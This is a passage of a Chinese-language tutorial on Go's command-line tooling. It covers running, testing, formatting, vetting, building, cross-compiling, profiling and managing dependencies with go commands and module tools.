命令的所有变量和值的内容，你可以运行：\n\n```shell\n$ go help environment\n```\n\n## 开发\n\n### 运行代码\n\n在开发过程中，用 `go run` 命令执行代码十分方便。它本质上是一个编译代码的快捷方式，在 `/tmp` 目录下创建一个可执行二进制文件，并一步运行它。\n\n```shell\n$ go run .          # 运行当前目录下的包\n$ go run ./cmd/foo  # 运行 ./cmd/foo 目录下的包\n```\n\n注意：在 Go 1.11 版本，当你执行 `go run` 命令时，你可以[传入包的路径](https://golang.org/doc/go1.11#run)，就像我们上面提到的那样。这意味着不再需要使用像 `go run *.go` 这样包含通配符扩展的变通方法运行多个文件。我非常喜欢这个改进。\n\n### 获取依赖关系\n\n假设你已经[启用了模块](https://github.com/golang/go/wiki/Modules#quick-start)，那当你运行 `go run`、`go test` 或者 `go build` 类似的命令时，所有外部依赖项将会自动（或递归）下载，以实现代码中的 `import` 语句。默认情况下，将下载依赖项的最新 tag，如果没有可用的 tag，则使用最新提交的依赖项。\n\n如果你事先知道需要特定版本的依赖项（而不是 Go 默认获取的依赖项），则可以在使用 `go get` 同时带上相关版本号或 commit hash。例如：\n\n```shell\n$ go get github.com/foo/bar@v1.2.3\n$ go get github.com/foo/bar@8e1b8d3\n```\n\n如果获取到的依赖项包含一个 `go.mod` 文件，那么**它的依赖项**将不会列在**你的** `go.mod` 文件中。相反，如果你正在下载的依赖项不包含 `go.mod` 文件，那么它的依赖项**将会**在你的 `go.mod` 文件中列出，并且会伴随着一个 `//indirect` 注释。\n\n这就意味着你的 `go.mod` 文件不一定会在一个地方显示项目的所有依赖项，但是你可以使用 `go list` 工具查看它们，如下所示：\n\n```shell\n$ go list -m all\n```\n有时候你可能会想知道**为什么它是一个依赖？**你可以使用 `go mod why` 命令回答这个问题。这条命令会显示从主模块的包到给定依赖项的最短路径。例如：\n\n```shell\n$ go mod why -m golang.org/x/sys\n# golang.org/x/sys\ngithub.com/alexedwards/argon2id\ngolang.org/x/crypto/argon2\ngolang.org/x/sys/cpu\n```\n\n注意：`go mod why` 命令将返回大多数（但不是所有依赖项）的应答。你可以在 [Issue 27900](https://github.com/golang/go/issues/27900) 跟踪这个问题。\n\n如果你对分析应用程序的依赖关系或将其可视化感兴趣，你可能还想查看 `go mod graph` 工具。在[这里](https://github.com/go-modules-by-example/index/tree/master/018_go_list_mod_graph_why)有一个很棒的生成可视化依赖关系的教程和示例代码。\n\n最后，下载的依赖项存储在位于 `GOPATH/pkg/mod` 的**模块缓存**中。如果你需要清除模块缓存，可以使用 `go clean` 工具。但请注意：这将删除计算机上**所有项目**的已下载依赖项。\n\n```shell\n$ go clean -modcache\n```\n\n### 重构代码\n\n你可能熟悉使用 `gofmt` 工具。它可以自动格式化代码，但是它也支持去**重写规则**。你可以使用它来帮助重构代码。我将在下面证明这一点。\n\n假设你有以下代码，你希望将 `foo` 变量更改为 `Foo`，以便将其导出。\n\n```go\nvar foo int\n\nfunc bar() {\n    foo = 1\n\tfmt.Println(\"foo\")\n}\n```\n\n要实现这一点，你可以使用 `gofmt` 的 `-r` 参数实现重写规则，`-d` 参数显示更改差异，`-w` 参数实现**就地**更改，像这样：\n\n```shell\n$ gofmt -d -w -r 'foo -> Foo' .\n-var foo int\n+var Foo int\n\n func bar() {\n-\tfoo = 1\n+\tFoo = 1\n \tfmt.Println(\"foo\")\n }\n```\n\n注意到这比单纯的查找和替换更智能了吗？ `foo` 变量已被更改，但 `fmt.Println()` 语句中的 `\"foo\"` 字符串没有被替换。另外需要注意的是 `gofmt` 命令是递归工作的，因此上面的命令会在当前目录和子目录中的所有 `*.go` 文件上执行。\n\n如果你想使用这个功能，我建议你首先不带 `-w` 参数运行重写规则，并先检查差异，以确保代码的更改如你所愿。\n\n让我们来看一个稍复杂的例子。假设你要更新代码，以使用新的 Go 1.12 版本中携带的 [strings.ReplaceAll()](https://golang.org/pkg/strings/#ReplaceAll) 方法替换掉之前的 [strings.Replace()](https://golang.org/pkg/strings/#Replace) 方法。要进行此更改，你可以运行：\n\n```shell\n$ gofmt -w -r 'strings.Replace(a, b, c, -1) -> strings.ReplaceAll(a, b, c)' .\n```\n\n在重写规则中，单个小写字符用作匹配任意表达式的通配符，这些被匹配到的表达式将会被替换。\n\n### 查看 Go 文档\n\n你可以使用 `go doc` 工具，在终端中查看标准库的文档。我经常在开发过程中使用它来快速查询某些东西 —— 比如特定功能的名称或签名。我觉得这比浏览[网页文档](https://golang.org/pkg)更快，而且它可以离线查阅。\n\n```shell\n$ go doc strings            # 查看 string 包的简略版文档 \n$ go doc -all strings       # 查看 string 包的完整版文档 \n$ go doc strings.Replace    # 查看 strings.Replace 函数的文档\n$ go doc sql.DB             # 查看 database/sql.DB 类型的文档 \n$ go doc sql.DB.Query       # 查看 database/sql.DB.Query 方法的文档\n```\n\n你也可以使用 `-src` 参数来展示相关的 Go 源码。例如：\n\n```shell\n$ go doc -src strings.Replace   # 查看 strings.Replace 函数的源码\n```\n\n## 测试\n\n### 运行测试\n\n你可以使用 `go test` 工具测试项目中的代码，像这样：\n\n```shell\n$ go test .          # 运行当前目录下的全部测试\n$ go test ./...      # 运行当前目录和子目录下的全部测试\n$ go test ./foo/bar  # 运行 ./foo/bar 目录下的全部测试\n```\n\n通常我会在启用 Go 的 [竞争检测](https://golang.org/doc/articles/race_detector.html) 的情况下运行我的测试，这可以帮助我找到在实际使用中可能出现的一些数据竞态情况。就像这样：\n\n```shell\n$ go test -race ./...\n```\n\n这里有很重要的一点要特别注意，启用竞争检测将增加测试的总体运行时间。因此，如果你经常在 TDD（测试驱动开发）工作流中运行测试，你可能会使用此方法进行预提交测试运行。\n\n从 1.10 版本起，Go 在包级别 [缓存测试结果](https://golang.org/doc/go1.10#test)。如果一个包在测试运行期间没有发生改变，并且你正在使用相同的、可缓存的 `go test` 工具，那么将会展示缓存的测试结果，并用 `\"(cached)\"` 标记注明。这对于加速大型代码库的测试运行非常有用。如果要强制测试完全运行（并避免缓存），可以使用 `-count=1` 参数，或使用 `go clean` 工具清除所有缓存的测试结果。\n\n```shell\n$ go test -count=1 ./...    # 运行测试时绕过测试缓存\n$ go clean -testcache       # 删除所有的测试结果缓存\n```\n注意：缓存的测试结果与构建结果被一同存储在你的 `GOCACHE` 目录中。如果你不确定 `GOCACHE` 目录在机器上的位置，请输入 `go env GOCACHE` 检查。\n\n你可以使用 `-run` 参数将 `go test` 限制为只运行特定测试（和子测试）。`-run` 参数接受正则表达式，并且只运行具有与正则表达式匹配的名称的测试。我喜欢将它与 `-v` 参数结合起来以启用详细模式，这样会显示正在运行的测试和子测试的名称。这是一个有用的方法，以确保我没有搞砸正则表达式，并确保我期望的测试正在运行！\n\n```shell\n$ go test -v -run=^TestFooBar$ .          # 运行名字为 TestFooBar 的测试\n$ go test -v -run=^TestFoo .              # 运行那些名字以 TestFoo 开头的测试\n$ go test -v -run=^TestFooBar$/^Baz$ .    # 只运行 TestFooBar 的名为 Baz 的子测试\n```\n\n值得注意的两个参数是 `-short`（可以用来[跳过长时间运行的测试](https://golang.org/pkg/testing/#hdr-Skipping)）和 `-failfast`（第一次失败后停止运行进一步的测试）。请注意，`-failfast` 将阻止测试结果缓存。\n\n```shell\n$ go test -short ./...      # 跳过长时间运行的测试\n$ go test -failfast ./...   # 第一次失败后停止运行进一步的测试\n```\n\n### 分析测试覆盖率\n\n当你在运行测试时使用 `-cover` 参数，你就可以开启测试覆盖率分析。这将显示每个包的输出中测试所涵盖的代码百分比，类似于：\n\n```shell\n$ go test -cover ./...\nok  \tgithub.com/alexedwards/argon2id\t0.467s\tcoverage: 78.6% of statements\n```\n你也可以通过使用 `-coverprofile` 参数生成覆盖率总览，并使用 `go tool cover -html` 命令在浏览器中查看。像这样：\n\n```shell\n$ go test -coverprofile=/tmp/profile.out ./...\n$ go tool cover -html=/tmp/profile.out\n```\n\n![](https://www.alexedwards.net/static/images/tooling-1.png)\n\n这将为你提供所有测试文件的可导航列表，其中绿色代码是被测试覆盖到的，红色代码未被测试覆盖。\n\n如果你愿意的话，可以再进一步。设置 `-covermode=count` 参数，使覆盖率配置文件记录测试期间每条语句执行的确切**次数**。\n\n```shell\n$ go test -covermode=count -coverprofile=/tmp/profile.out ./...\n$ go tool cover -html=/tmp/profile.out\n```\n\n在浏览器中查看时，更频繁执行的语句以更饱和的绿色阴影显示，类似于：\n\n![](https://www.alexedwards.net/static/images/tooling-2.png)\n\n注意：如果你在测试中使用了 `t.Parallel()` 命令，你应该用 `-covermode=atomic` 替换掉 `-covermode=count` 以确保计数准确。\n\n最后，如果你没有可用于查看覆盖率配置文件的 Web 浏览器，则可以使用以下命令在终端中按功能/方法查看测试覆盖率的细分：\n\n```shell\n$ go tool cover -func=/tmp/profile.out\ngithub.com/alexedwards/argon2id/argon2id.go:77:\t\tCreateHash\t\t87.5%\ngithub.com/alexedwards/argon2id/argon2id.go:96:\t\tComparePasswordAndHash\t85.7%\n...\n```\n\n### 压力测试\n\n你可以使用 `go test -count` 命令连续多次运行测试。如果想检查偶发或间歇性故障，这可能很有用。例如：\n\n```shell\n$ go test -run=^TestFooBar$ -count=500 .\n```\n\n在这个例子中，`TestFooBar` 测试将连续重复 500 次。但有一点你要特别注意，测试将串行**重复**执行 —— 即便它包含一个 `t.Parallel()` 命令。因此，如果你的测试要做的事相对较慢，例如读写数据库、磁盘或与互联网有频繁的交互，那么运行大量测试可能会需要相当长的时间。\n\n这种情况下，你可能希望使用 [`stress`](golang.org/x/tools/cmd/stress) 工具并行执行重复相同的测试。你可以像这样安装它：\n\n```shell\n$ cd /tmp\n$ GO111MODULE=on go get golang.org/x/tools/cmd/stress\n```\n\n要使用 `stress` 工具，首先需要为要测试的特定包编译**测试二进制**文件。你可以使用 `go test -c` 命令。例如，为当前目录中的包创建测试二进制文件：\n\n```shell\n$ go test -c -o=/tmp/foo.test .\n```\n在这个例子中，测试二进制文件将输出到 `/tmp/foo.test`。之后你可以使用 `stress` 工具在该文件中执行特定测试，如下所示：\n\n```shell\n$ stress -p=4 /tmp/foo.test -test.run=^TestFooBar$\n60 runs so far, 0 failures\n120 runs so far, 0 failures\n...\n```\n\n注意：在上面的例子中，我使用 `-p` 参数来限制 `stress` 使用的并行进程数为 4。如果没有这个参数，该工具将默认使用和 `runtime.NumCPU()` 方法执行结果相同数量的进程（当前系统的 CPU 核数量的进程数）。\n\n### 测试全部依赖关系\n\n在为发布或部署构建可执行文件或公开发布代码之前，你可能希望运行 `go test all` 命令：\n\n```shell\n$ go test all\n```\n\n这将对模块中的所有包和依赖项运行测试 —— 包括对**测试依赖项**和必要的**标准库包**的测试 —— 它可以帮助验证所使用的依赖项的确切版本是否互相兼容。可能需要相当长的时间才能运行，但测试结果可以很好地缓存，因此任何将来的后续测试都会更快。如果你愿意，你也可以使用 `go test -short all` 跳过任何需要长时间运行的测试。\n\n## 预提交检查\n\n### 格式化代码\n\nGo 提供了两个工具 `gofmt` 和 `go fmt` 来根据 Go 约定自动格式化代码。使用这些有助于保持代码在文件和项目中保持一致，并且 —— 在提交代码之前使用它们 —— 有助于在检查文件版本之间的差异时减少干扰项。\n\n我喜欢使用带有以下参数的 `gofmt` 工具：\n\n```shell\n$ gofmt -w -s -d foo.go  # 格式化 foo.go 文件\n$ gofmt -w -s -d .       # 递归格式化当前目录和子目录中的所有文件\n```\n\n在这些命令中，`-w` 参数指示工具重写文件，`-s` 参数指示工具尽可能的[简化](https://golang.org/cmd/gofmt/#hdr-The_simplify_command)代码，`-d` 参数指示工具输出变化的差异（因为我很想知道改变了什么）。如果你只想显示已更改文件的名称而不是差异，则可以将其替换为 `-l` 参数。\n\n注意：`gofmt` 命令以递归方式工作。如果你传递一个类似 `.` 或 `./cmd/foo`的目录，它将格式化目录下的所有 `.go` 文件。\n\n另一种格式化工具 `go fmt` 是一个包装器，它在指定的文件或目录上调用 `gofmt -l -w`。你可以像这样使用它：\n\n```shell\n$ go fmt ./...\n```\n\n### 执行静态分析\n\n`go vet` 工具对你的代码进行静态分析，并对你**可能**是代码错误但不被编译器指出（语法正确）的东西提出警告。诸如无法访问的代码，不必要的分配和格式错误的构建标记等问题。你可以像这样使用它：\n\n```shell\n$ go vet foo.go     # 对 foo.go 文件进行静态分析 \n$ go vet .          # 对当前目录下的所有文件进行静态分析\n$ go vet ./...      # 对当前目录以及子目录下的所有文件进行静态分析\n$ go vet ./foo/bar  # 对 ./foo/bar 目录下的所有文件进行静态分析\n```\n\n`go vet` 在背后运行了许多[不同的分析器](https://golang.org/cmd/vet/)，你可以根据具体情况禁用特定的分析器。例如，要禁用 `composite` 分析器，你可以使用：\n\n```shell\n$ go vet -composites=false ./...\n```\n\n在 [golang.org/x/tools](https://godoc.org/golang.org/x/tools) 中有几个实验性的分析器，你可能想尝试一下：\n\n- [nilness](https://godoc.org/golang.org/x/tools/go/analysis/passes/nilness/cmd/nilness)：检查多余或不可能的零比较\n- [shadow](https://godoc.org/golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow)： 检查可能的非预期变量阴影\n\n如果要使用这些，则需要单独安装和运行它们。例如，如果安装 `nilness`，你需要运行：\n\n```shell\n$ cd /tmp\n$ GO111MODULE=on go get golang.org/x/tools/go/analysis/passes/nilness/cmd/nilness\n```\n\n之后你可以这样使用：\n\n```shell\n$ go vet -vettool=$(which nilness) ./...\n```\n\n注：自 Go 1.10 版本起，`go test` 工具会在运行任何测试之前自动运行 `go vet` 检查的一个小的、高可信度的子集。你可以在运行测试时像这样关闭此行为：\n\n```shell\n$ go test -vet=off ./...\n```\n\n### Linting 代码\n\n你可以使用 `golint` 工具识别代码中的**样式错误**。与 `go vet` 不同，这与代码的**正确性**无关，但可以帮助你将代码与 [Effective Go](https://golang.org/doc/effective_go.html) 和 Go [CodeReviewComments](https://golang.org/wiki/CodeReviewComments) 中的样式约定对齐。\n\n它不是标准库的一部分，你需要执行如下命令安装：\n\n```shell\n$ cd /tmp\n$ GO111MODULE=on go get golang.org/x/lint/golint\n```\n\n之后你可以这样运行：\n\n```shell\n$ golint foo.go     # Lint foo.go 文件\n$ golint .          # Lint 当前目录下的所有文件\n$ golint ./...      # Lint 当前目录及其子目录下的所有文件\n$ golint ./foo/bar  # Lint ./foo/bar 目录下的所有文件\n```\n\n### 整理和验证依赖关系\n\n在你对代码进行任何更改之前，我建议你运行以下两个命令来整理和验证你的依赖项：\n\n```shell\n$ go mod tidy\n$ go mod verify\n```\n`go mod tidy` 命令将删除你的 `go.mod` 和 `go.sum` 文件中任何未使用的依赖项，并更新文件以包含所有可能的构建标记/系统/体系结构组合的依赖项（注意：`go run`，`go test`，`go build` 等命令是“懒惰的”，只会获取当前构建标记/系统/体系结构所需的包。在每次提交之前运行此命令将使你更容易确定哪些代码更改负责在查看版本控制历史记录时添加或删除哪些依赖项。\n\n我还建议使用 `go mod verify` 命令来检查计算机上的依赖关系是否已被意外（或故意）更改，因为它们已被下载并且它们与 `go.sum` 文件中的加密哈希值相匹配。运行此命令有助于确保所使用的依赖项是你期望的完全依赖项，并且该提交的任何构建将可以在以后重现。\n\n## 构建与部署\n\n### 构建可执行文件\n\n要编译 `main` 包并创建可执行二进制文件，可以使用 `go build` 工具。通常可以将它与`-o`参数结合使用，这允许你明确设置输出目录和二进制文件的名称，如下所示：\n\n```shell\n$ go build -o=/tmp/foo .            # 编译当前目录下的包 \n$ go build -o=/tmp/foo ./cmd/foo    # 编译 ./cmd/foo 目录下的包\n```\n\n在这些示例中，`go build` 将**编译**指定的包（以及任何依赖包），然后调用**链接器**以生成可执行二进制文件，并将其输出到 `/tmp/foo`。\n\n值得注意的是，从 Go 1.10 开始，`go build` 工具在[**构建缓存**](https://golang.org/cmd/go/#hdr-Build_and_test_caching)中被缓存。此缓存将在将来的构建中适当时刻重用，这可以显著加快整体构建时间。这种新的缓存行为意味着“使用 `go install` 替换 `go build` 改进缓存”的[老旧准则](https://peter.bourgon.org/go-best-practices-2016/#build-and-deploy)不再适用。\n\n如果你不确定构建缓存的位置，可以通过运行 `go env GOCACHE` 命令进行检查：\n\n```shell\n$ go env GOCACHE\n/home/alex/.cache/go-build\n```\n\n使用构建缓存有一个[重要警告](https://golang.org/pkg/cmd/go/internal/help/) - 它不会检测用 `cgo` 导入的 C 语言库的更改。因此，如果你的代码通过 `cgo` 导入 C 语言库，并且自上次构建以来你对其进行了更改，则需要使用 `-a` 参数来强制重建所有包。或者，你可以使用 `go clean` 来清除缓存：\n\n```shell\n$ go build -a -o=/tmp/foo .     # 强制重新构建所有包\n$ go clean -cache               # 移除所有构建缓存\n```\n\n注意：运行 `go clean -cache` 也会删除测试缓存。\n\n如果你对 `go build` 在背后执行的过程感兴趣，你可能想用下面的命令：\n\n```shell\n$ go list -deps . | sort -u     # 列出在构建可执行文件过程中用到的所有包\n$ go build -a -x -o=/tmp/foo .  # 全部重新构建，并展示运行的所有命令\n```\n最后，如果你在非 `main` 包上运行 `go build`，它将被编译在一个临时位置，并且结果将再次存储在构建缓存中。这个过程不会生成可执行文件。\n\n### 交叉编译\n\n这是我最喜欢的 Go 功能之一。\n\n默认情况下，`go build` 将输出适合你当前操作系统和体系结构的二进制文件。但它也支持交叉编译，因此你可以生成适合在不同机器上使用的二进制文件。如果你在一个操作系统上进行开发并在另一个操作系统上进行部署，这将特别有用。\n\n你可以通过分别设置 `GOOS` 和 `GOARCH` 环境变量来指定要为其创建二进制文件的操作系统和体系结构。例如：\n\n```shell\n$ GOOS=linux GOARCH=amd64 go build -o=/tmp/linux_amd64/foo .\n$ GOOS=windows GOARCH=amd64 go build -o=/tmp/windows_amd64/foo.exe .\n```\n\n如果想查看所有支持的操作系统和体系结构，你可以运行 `go tool dist list`：\n\n```shell\n$ go tool dist list\naix/ppc64\nandroid/386\nandroid/amd64\nandroid/arm\nandroid/arm64\ndarwin/386\ndarwin/amd64\n...\n```\n\n提示：你可以使用 Go 的交叉编译[创建 WebAssembly 二进制文件](https://github.com/golang/go/wiki/WebAssembly)。\n\n想了解更深入的交叉编译信息，推荐你阅读[这篇精彩的文章](https://rakyll.org/cross-compilation/)。\n\n### 使用编译器和链接器标记\n\n在构建可执行文件时，你可以使用 `-gcflags` 参数来更改编译器的行为，并查看有关它正在执行的操作的更多信息。你可以通过运行以下命令查看可用编译器参数的完整列表：\n\n```shell\n$ go tool compile -help\n```\n你可能会感兴趣的一个参数是 `-m`，它会触发打印有关编译期间所做的优化决策信息。你可以像这样使用它：\n\n```shell\n$ go build -gcflags=\"-m -m\" -o=/tmp/foo . # 打印优化决策信息\n```\n\n在上面的例子中，我两次使用了 `-m` 参数，这表示我想打印两级深度的决策信息。如果只使用一个，就可以获得更简单的输出。\n\n此外，从 Go 1.10 开始，编译器参数仅适用于传递给 `go build` 的特定包 —— 在上面的示例中，它是当前目录中的包（由 `.` 表示）。如果要为所有包（包括依赖项）打印优化决策信息，可以使用以下命令：\n\n```shell\n$ go build -gcflags=\"all=-m\" -o=/tmp/foo .\n```\n\n从 Go 1.11 开始，你会发现[调试优化的二进制文件](https://golang.org/doc/go1.11#debugging)比以前更容易。但如果有必要的话，你仍然可以使用参数 `-N` 来禁用优化，使用 `-l` 来禁用内联。例如：\n\n```shell\n$ go build -gcflags=\"all=-N -l\" -o=/tmp/foo .  # Disable optimizations and inlining\n```\n\n通过运行以下命令，你可以看到可用链接参数列表：\n\n```shell\n$ go tool link -help\n```\n\n其中最著名的可能是 `-X` 参数，它允许你将（字符串）值“插入”应用程序中的特定变量。这通常用于[添加版本号或提交 hash](https://blog.alexellis.io/inject-build-time-vars-golang/)。例如：\n\n```shell\n$ go build -ldflags=\"-X main.version=1.2.3\" -o=/tmp/foo .\n```\n\n有关 `-X` 参数和示例代码的更多信息，请参阅[这个 StackOverflow 问题](https://stackoverflow.com/questions/11354518/golang-application-auto-build-versioning)和[这篇文章](https://blog.alexellis.io/inject-build-time-vars-golang/)。\n\n你可能还有兴趣使用 `-s` 和 `-w` 参数来从二进制文件中删除调试信息。这通常会削减 25% 的最终大小。例如：\n\n```shell\n$ go build -ldflags=\"-s -w\" -o=/tmp/foo .  # 从二进制文件中删除调试信息\n```\n\n注意：如果你需要优化可执行文件的大小，可能需要使用 [upx](https://upx.github.io/) 来压缩它。详细信息请参阅 [这篇文章](https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/)。\n\n## 诊断问题和优化\n\n### 运行和比较基准\n\nGo 可以轻松的对代码进行基准测试，这是一个很好的功能。如果你不熟悉编写基准测试的一般过程，你可以在[这里](https://dave.cheney.net/2013/06/30/how-to-write-benchmarks-in-go)和[这里](https://dave.cheney.net/2013/06/30/how-to-write-benchmarks-in-go)阅读优秀指南。\n\n要运行基准测试，你需要使用 `go test` 工具，将 `-bench` 参数设置为与你要执行的基准匹配的正则表达式。例如：\n\n```shell\n$ go test -bench=. ./...                        # 进行基准检查和测试\n$ go test -run=^$ -bench=. ./...                # 只进行基准检查，不测试\n$ go test -run=^$ -bench=^BenchmarkFoo$ ./...   # 只进行 BenchmarkFoo 的基准检查，不进行测试\n```\n\n我几乎总是使用 `-benchmem` 参数运行基准测试，这会在输出中强制包含内存分配统计信息。\n\n```shell\n$  go test -bench=. -benchmem ./...\n```\n\n默认情况下，每个基准测试一次运行**最少**一秒。你可以使用 `-benchtime` 和 `-count` 参数来更改它：\n\n```shell\n$ go test -bench=. -benchtime=5s ./...       # 每个基准测试运行最少 5 秒\n$ go test -bench=. -benchtime=500x ./...     # 运行每个基准测试 500 次\n$ go test -bench=. -count=3 ./...            # 每个基准测试重复三次以上\n```\n\n如果你并发执行基准测试的代码，则可以使用 `-cpu` 参数来查看更改 `GOMAXPROCS` 值（实质上是可以同时执行 Go 代码的 OS 线程数）对性能的影响。例如，要将 `GOMAXPROCS` 设置为 1 、4 和 8 来运行基准测试：\n\n```shell\n$ go test -bench=. -cpu=1,4,8 ./...\n```\n\n要比较基准测试之间的更改，你可能需要使用 [benchcmp](https://godoc.org/golang.org/x/tools/cmd/benchcmp) 工具。这不是标准 `Go` 命令的一部分，所以你需要像这样安装它：\n\n```shell\n$ cd /tmp\n$ GO111MODULE=on go get golang.org/x/tools/cmd/benchcmp\n```\n\n然后你就可以这样使用：\n\n```shell\n$ go test -run=^$ -bench=. -benchmem ./... > /tmp/old.txt\n# 做出改变\n$ go test -run=^$ -bench=. -benchmem ./... > /tmp/new.txt\n$ benchcmp /tmp/old.txt /tmp/new.txt\nbenchmark              old ns/op     new ns/op     delta\nBenchmarkExample-8     21234         5510          -74.05%\n\nbenchmark              old allocs     new allocs     delta\nBenchmarkExample-8     17             11             -35.29%\n\nbenchmark              old bytes     new bytes     delta\nBenchmarkExample-8     8240          3808          -53.79%\n```\n\n### 分析和跟踪\n\nGo 可以为 CPU 使用，内存使用，goroutine 阻塞和互斥争用创建诊断**配置文件**。你可以使用这些来深入挖掘并确切了解你的应用程序如何使用（或等待）资源。\n\n有三种方法可以生成配置文件：\n\n* 如果你有一个 Web 应用程序，你可以导入 [`net/http/pprof`](https://golang.org/pkg/net/http/pprof/) 包。这将使用 `http.DefaultServeMux` 注册一些处理程序，然后你可以使用它来为正在运行的应用程序生成和下载配置文件。[这篇文章](https://artem.krylysov.com/blog/2017/03/13/profiling-and-optimizing-go-web-applications/)很好的提供了解释和一些示例代码。\n* 对于其他类型的应用程序，你可以使用 `pprof.StartCPUProfile()` 和 `pprof.WriteHeapProfile()` 函数来分析正在运行的应用程序 有关示例代码，请参阅 [`runtime/pprof`](https://golang.org/pkg/runtime/pprof/) 文档。\n* 或者你可以在运行基准测试或测试时使用各种 `-***profile` 参数生成配置文件，如下所示：\n\n```shell\n$ go test -run=^$ -bench=^BenchmarkFoo$ -cpuprofile=/tmp/cpuprofile.out .\n$ go test -run=^$ -bench=^BenchmarkFoo$ -memprofile=/tmp/memprofile.out .\n$ go test -run=^$ -bench=^BenchmarkFoo$ -blockprofile=/tmp/blockprofile.out .\n$ go test -run=^$ -bench=^BenchmarkFoo$ -mutexprofile=/tmp/mutexprofile.out .\n```\n\n注意：运行基准测试或测试时使用 `-***profile` 参数将会把测试二进制文件输出到当前目录。如果要将其输出到其它位置，则应使用 `-o` 参数，如下所示：\n\n```shell\n$ go test -run=^$ -bench=^BenchmarkFoo$ -o=/tmp/foo.test -cpuprofile=/tmp/cpuprofile.out .\n```\n\n无论你选择何种方式创建配置文件，启用配置文件时，你的 Go 程序将每秒暂停大约 100 次，并在该时刻拍摄快照。这些**样本**被收集在一起形成**轮廓**，你可以使用 `pprof` 工具进行分析。\n\n我最喜欢检查配置文件的方法是使用 `go tool pprof -http` 命令在 Web 浏览器中打开它。例如：\n\n```shell\n$ go tool pprof -http=:5000 /tmp/cpuprofile.out\n```\n\n![](https://www.alexedwards.net/static/images/tooling-3.png)\n\n这将默认显示**图表**，显示应用程序的采样方面的执行树，这使得可以快速了解任何“热门”使用资源。在上图中，我们可以看到 CPU 使用率方面的热点是来自 `ioutil.ReadFile()` 的两个系统调用。\n\n你还可以导航到配置文件的其他**视图**，包括功能和源代码的最高使用情况。\n\n![](https://www.alexedwards.net/static/images/tooling-4.png)\n\n如果信息量太大，你可能希望使用 `--nodefraction` 参数来忽略占小于一定百分比样本的节点。例如，要忽略在少于 10% 的样本中出现的节点，你可以像这样运行 `pprof`：\n\n```shell\n$ go tool pprof --nodefraction=0.1 -http=:5000 /tmp/cpuprofile.out\n```\n\n![](https://www.alexedwards.net/static/images/tooling-5.png)\n\n这让图形更加“嘈杂”，如果你[放大这个截图](https://www.alexedwards.net/static/images/tooling-5b.svg)，就可以更清楚的看到和了解 CPU 使用的热点位置。\n\n分析和优化资源使用是一个庞大且复杂的问题，我在这里只涉及到一点皮毛。如果你有兴趣了解更多信息，我建议你阅读以下文章：\n\n* [分析和优化 Go Web 应用程序](https://artem.krylysov.com/blog/2017/03/13/profiling-and-optimizing-go-web-applications/)\n* [调试 Go 程序中的性能问题](https://github.com/golang/go/wiki/Performance)\n* [使用基准和分析的每日代码优化](https://medium.com/@hackintoshrao/daily-code-optimization-using-benchmarks-and-profiling-in-golang-gophercon-india-2016-talk-874c8b4dc3c5)\n* [使用 pprof 分析 Go 程序](https://jvns.ca/blog/2017/09/24/profiling-go-with-pprof/)\n\n另一个可以用来帮助你诊断问题的工具是**运行时执行跟踪器**。这使你可以了解 Go 如何创建和安排运行垃圾收集器时运行的 goroutine，以及有关阻止系统调用/网络/同步操作的信息。\n\n同样，你可以从测试或基准测试中生成跟踪，或使用 `net/http/pprof` 为你的 Web 应用程序创建和下载跟踪。然后，你可以使用 `go tool trace` 在 Web 浏览器中查看输出，如下所示：\n\n```shell\n$ go test -run=^$ -bench=^BenchmarkFoo$ -trace=/tmp/trace.out .\n$ go tool trace /tmp/trace.out\n```\n\n重要提示：目前只能在 Chrome/Chromium 中查看。\n\n![](https://www.alexedwards.net/static/images/tooling-6.png)\n\n有关 Go 的执行跟踪器以及如何解释输出的更多信息，请参阅 [Rhys Hiltner 的 dotGo 2016 演讲](https://www.youtube.com/watch?v=mmqDlbWk_XA)和[优秀博客文章](https://making.pusher.com/go-tool-trace/)。\n\n### 竞争检测 \n\n我之前谈过在测试期间使用 `go test -race` 启用 Go 的竞争检测。但是，你还可以在构建可执行文件时启用它来运行程序，如下所示：\n\n```shell\n$ go build -race -o=/tmp/foo .\n```\n\n尤其重要的是，启用竞争检测的二进制文件将使用比正常情况更多的 CPU 和内存，因此在正常情况下为生产环境构建二进制文件时，不应使用 `-race` 参数。\n\n但是，你可能希望在一台服务器部署多个启用竞争检测的二进制文件，或者使用它来帮助追踪可疑的竞态条件。方法是使用负载测试工具在启用竞争检测的二进制文件的同时投放流量。\n\n默认情况下，如果在二进制文件运行时检测到任何竞态条件，则日志将写入 `stderr`。如有必要，可以使用 `GORACE` 环境变量来更改此设置。例如，要运行位于 `/tmp/foo` 的二进制文件并将任何竞态日志输出到 `/tmp/race.<pid>`，你可以使用：\n\n```shell\n$ GORACE=\"log_path=/tmp/race\" /tmp/foo\n```\n\n## 管理依赖\n\n你可以使用 `go list` 工具检查特定依赖项是否具有更新版本，如下所示：\n\n```shell\n$ go list -m -u github.com/alecthomas/chroma\ngithub.com/alecthomas/chroma v0.6.2 [v0.6.3]\n```\n\n这将输出你当前正在使用的依赖项名称和版本，如果存在较新的版本，则输出方括号 `[]` 中的最新版本。你还可以使用 `go list` 来检查所有依赖项（和子依赖项）的更新，如下所示：\n\n```shell\n$ go list -m -u all\n```\n\n你可以使用 `go get` 命令将依赖项升级到最新版本、调整为特定 tag 或 hash 的版本，如下所示：\n\n```shell\n$ go get github.com/foo/bar@latest\n$ go get github.com/foo/bar@v1.2.3\n$ go get github.com/foo/bar@7e0369f\n```\n\n如果你要更新的依赖项具有 `go.mod` 文件，那么根据此 `go.mod` 文件中的信息，如果需要，还将下载对任何**子依赖项**的更新。如果使用 `go get -u` 参数，`go.mod` 文件的内容将被忽略，所有子依赖项将升级到最新的 minor/patch 版本，即使已经在 `go.mod` 中指定了不同的版本。\n\n在升级或降级任何依赖项后，最好整理你的 modfiles。你可能还希望为所有程序包运行测试以帮助检查不兼容性。像这样：\n\n```shell\n$ go mod tidy\n$ go test all\n```\n\n有时，你可能希望使用本地版本的依赖项（例如，在云端合并修补程序之前，你需要使用本地分支）。为此，你可以使用 `go mod edit` 命令将 `go.mod` 文件中的依赖项替换为本地版本。例如：\n\n```shell\n$ go mod edit -replace=github.com/alexedwards/argon2id=/home/alex/code/argon2id\n```\n\n这将在你的 `go.mod` 文件中添加一个**替换规则**，并且当以后调用 `go run` 、`go build` 等命令时，将使用本地版本依赖。\n\nFile: go.mod\n\n```\nmodule alexedwards.net/example\n\ngo 1.12\n\nrequire github.com/alexedwards/argon2id v0.0.0-20190109181859-24206601af6c\n\nreplace github.com/alexedwards/argon2id => 